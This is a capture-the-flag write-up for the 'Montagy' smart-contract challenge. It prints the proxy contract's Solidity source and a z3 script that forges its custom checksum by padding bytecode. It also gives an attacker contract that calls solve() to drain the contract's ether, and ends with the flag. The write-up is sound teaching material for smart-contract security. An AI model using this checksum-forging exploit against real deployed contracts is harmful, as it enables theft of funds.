Challenge

Description

See Montagy.txt in the source files

Solution

TL;DR

By the newPuzzle method, create a new puzzle that has the same tag value as one of the existing puzzles to pass the isOfficialChecksum check. Let our new puzzle call solve to the proxy contract, and the proxy contract will send out all the ether it has.

Detailed Write-up

In this challenge, our goal is to let the balance of the proxy contract become 0, and then we will receive the flag in a transaction sent from the game server.

The code of the proxy contract is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pragma solidity ^0.5.11;

contract Montagy{
address payable public owner;
mapping(bytes32=>bool) isOfficialChecksum;
...

modifier onlyPuzzle(){
require(puzzleChecksum[msg.sender] != 0);
_;
}
...

function registerCode(bytes memory a) public onlyOwner {
isOfficialChecksum[tag(a)]=true;
}

function newPuzzle(bytes memory code) public onlyGameOn returns(address addr){
bytes32 cs = tag(code);
require(isOfficialChecksum[cs]);

addr = deploy(code);
lastchildaddr=addr;
puzzleChecksum[addr] = cs;
}

function solve(string memory info) public onlyGameOn onlyPuzzle {
owner.transfer(address(this).balance);
winnerinfo = info;
}
...

function tag(bytes memory a) pure public returns(bytes32 cs){
assembly{
let groupsize := 16
let head := add(a,groupsize)
let tail := add(head, mload(a))
let t1 := 0x21711730
let t2 := 0x7312f103
let m1,m2,m3,m4,p1,p2,p3,s,tmp
for { let i := head } lt(i, tail) { i := add(i, groupsize) } {
s := 0x6644498b
tmp := mload(i)
m1 := and(tmp,0xffffffff)
m2 := and(shr(0x20,tmp),0xffffffff)
m3 := and(shr(0x40,tmp),0xffffffff)
m4 := and(shr(0x60,tmp),0xffffffff)
for { let j := 0 } lt(j, 0x4) { j := add(j, 1) } {
s := and(add(s, 0x68696e74),0xffffffff)
p1 := sub(mul(t1, 0x10), m1)
p2 := add(t1, s)
p3 := add(div(t1,0x20), m2)
t2 := and(add(t2, xor(p1,xor(p2,p3))), 0xffffffff)
p1 := add(mul(t2, 0x10), m3)
p2 := add(t2, s)
p3 := sub(div(t2,0x20), m4)
t1 := and(add(t1, xor(p1,xor(p2,p3))), 0xffffffff)
}
}
cs := xor(mul(t1,0x100000000),t2)
}
}
}

The full source code can be found on Ropsten: Proxy contract

By inspecting the transactions to the proxy contract, we may notice that the owner had registered and deployed two puzzles via the registerCode and newPuzzle methods. Also, their source code can be found on Ropsten: side contract 1, side contract 2. However, these two puzzles are not computationally feasible to solve.

How about creating a new puzzle that calls server.solve() directly? To make this happen, the new puzzle should be deployed via newPuzzle and should pass the isOfficialChecksum check at line 20. While only the owner is allowed to register a new checksum (tag value), we have to construct a new puzzle that has the same tag value as one of the existing puzzles.

First, write a contract which simply calls solve to the proxy contract:

1
2
3
4
5
6
7
8
9
contract P3 {
Montagy public server;
constructor() public {
server = Montagy(0xD068fcC44525569fB593189c8f22827cF0f50f3f);
}
function do_solve() public {
server.solve('balsn');
}
}

Compile this contract and get its deploy bytecode. Note that whatever we pad at the end of the bytecode will not change the deploy result. Therefore, we choose to find proper padding to our bytecode to control its tag value. According to the source code of the proxy contract, to calculate the tag value, the method tag iterates from the start of the bytecode to the end. Since we can calculate the tag value of the unpadded bytecode beforehand, we only have to focus on the last iteration, where the padding is the input bytes.

Here is a script for finding proper padding:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from z3 import *

def find(last, target):
t1, t2 = int(last[:8], 16), int(last[8:], 16)
tar1, tar2 = int(target[:8], 16), int(target[8:], 16)

s = 0x6644498b
s = BitVecVal(s, 256)
m1 = BitVec('m1', 256)
m2 = BitVec('m2', 256)
m3 = BitVec('m3', 256)
m4 = BitVec('m4', 256)

for j in range(4):
s = (s + 0x68696e74) & 0xffffffff
p1 = (t1<<4) - m1
p2 = t1 + s
p3 = (t1>>5) + m2
t2 = (t2 + (p1^(p2^p3))) & 0xffffffff
p1 = (t2<<4) + m3
p2 = t2 + s
p3 = (t2>>5) - m4
t1 = (t1 + (p1^(p2^p3))) & 0xffffffff

sol = Solver()
sol.add(And(t1 == tar1, t2 == tar2))
if sol.check():
m = sol.model()
m_l = map(lambda x: m[x].as_long(), [m4, m3, m2, m1])
pad = 0
for x in m_l:
pad <<= 0x20
pad |= x
return hex(pad)[2:].zfill(32)
else:
raise Exception('No solution')

Append the padding to our deploy bytecode, and call newPuzzle in the proxy contract with the padded bytecode as the parameter. After our contract is deployed, call the do_solve method in our contract. All ether that the proxy contract has will be sent out, and then we will get the flag:

1
rwctf{cOd3_i5_CH3ep_sHoW_mE_tHe_OPcdE...Oh_&&_1_CUP_of_T_PlEA53_:P}